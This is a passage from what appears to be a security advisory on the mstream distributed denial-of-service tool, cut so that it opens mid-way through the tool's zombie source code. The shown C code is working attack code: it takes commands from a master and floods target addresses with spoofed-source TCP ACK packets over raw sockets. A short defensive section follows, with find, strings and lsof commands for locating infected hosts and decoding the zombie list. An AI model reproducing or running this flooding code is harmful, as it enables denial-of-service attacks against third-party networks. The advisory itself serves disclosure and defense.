if ((tmpip = strtok(ips, ":")) == NULL) continue;
ipps[0] = (char *) malloc(strlen(tmpip)+2);
strncpy(ipps[0], tmpip, strlen(tmpip)+2);
y = 1;
while ((tmpip = strtok(NULL, ":")) != NULL) {
ipps[y] = (char *)malloc(strlen(tmpip)+2);
strncpy(ipps[y], tmpip, strlen(tmpip)+2);
y++;
}
ipps[y] = NULL;
stream(1, (seconds + time(0)), NULL, ipps);
for (y = 0 ; ipps[y] != NULL ; y++) free(ipps[y]);
}
if (!strncmp(buf, "ping", 4)) {
send2master("pong", remote.sin_addr);
}
} /* for(;;) */
} /* main */
void send2master (char *buf, struct in_addr addr) {
struct sockaddr_in sock;
int fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;
sock.sin_family = AF_INET;
sock.sin_port = htons(MASTER_PORT);
sock.sin_addr = addr;
memset(&sock.sin_zero, 0, 8);
sendto(fd, buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}
void forkbg (void) {
int pid;
pid = fork();
if (pid == -1) {
perror("fork");
exit(0);
}
if (pid > 0) {
printf("Forked into background, pid %d\n", pid);
exit(0);
}
}
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
int sock;
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
void stream (int t, int until, u_long dstaddr, char *dstaddrs[])
{
struct timespec ts;
int on = 1;
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) == -1) return;
srand((time(NULL) ^ getpid()) + getppid());
memset(&packet, 0, sizeof packet);
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof packet);
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
if (!t)
packet.ip.ip_dst.s_addr = dstaddr;
packet.tcp.th_flags = TH_ACK;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = rand();
if (!t)
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
s_in.sin_family = AF_INET;
if (!t)
s_in.sin_addr.s_addr = dstaddr;
s_in.sin_port = packet.tcp.th_dport;
while (time(0) <= until) {
if (t) {
int x;
for (x = 0 ; dstaddrs[x] != NULL ; x++) {
if (!strchr(dstaddrs[x], '.')) break;
packet.ip.ip_dst.s_addr = inet_addr(dstaddrs[x]);
cksum.pseudo.daddr = inet_addr(dstaddrs[x]);
s_in.sin_addr.s_addr = inet_addr(dstaddrs[x]);
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum);
sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
}
} else {
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum);
sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
}
}
}
void nlstr (char *str) {
if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = '\0';
}
SOLUTION
There are none. We are all doomed. Time to shop for property in
Montana and stock up on non-perishable food items and
semi-automatic weapons. (Seriously, authors didn't have time to
finish this section. Any defenses already discussed for
stream/stream2 or other DDoS tools would apply. And for God's
sake, SECURE ALL THOSE SYSTEMS they are using to build these
networks!).
To locate the mstream master or zombie on a system, use the
following command for each filesystem on the machine:
find / -mount -type f -print | xargs grep -l newserver
Replace / with whichever file system you want to search. This may
find files that are not part of mstream, such as /usr/bin/xchat,
but you can verify each file found by using the strings command
on it. The strings output of the zombie, from server.c, will
contain this text:
Must be ran as root.
socket
bind
setsockopt
newserver
stream
mstream
ping
pong
fork
Forked into background, pid %d
Running strings on the master will find this text:
Connection from %s
newserver
New server on %s.
pong
Got pong number %d from %s
%s has disconnected (not auth'd): %s
Invalid password from %s.
Password accepted for connection from %s.
Lost connection to %s: %s
If you know which port the master controller is listening on, you
can use lsof. Use this command to locate the master: "lsof -i
TCP:port." The result will be similar to the following:
[root@berry]# lsof -i TCP:12754
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
mstream 3664 juser 3u IPv4 721759 TCP *:12754 (LISTEN)
This will locate the process that is listening on TCP port 12754.
To find the path to the executable, use the command "lsof -c
<command> -a -d txt":
[root@berry]# lsof -c mstream -a -d txt
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
mstream 3664 juser txt REG 8,1 33185 306211 /home/juser/mstream
To kill the process, delete the master controller executable,
check the "..." or ".sr" file, and decode the IP addresses of all
of the zombies. The following shell command will decrypt the file:
[root@berry]# cat ... | tr 'b-k`' '0-9.' | sed 's/<$//' 208.21.2.18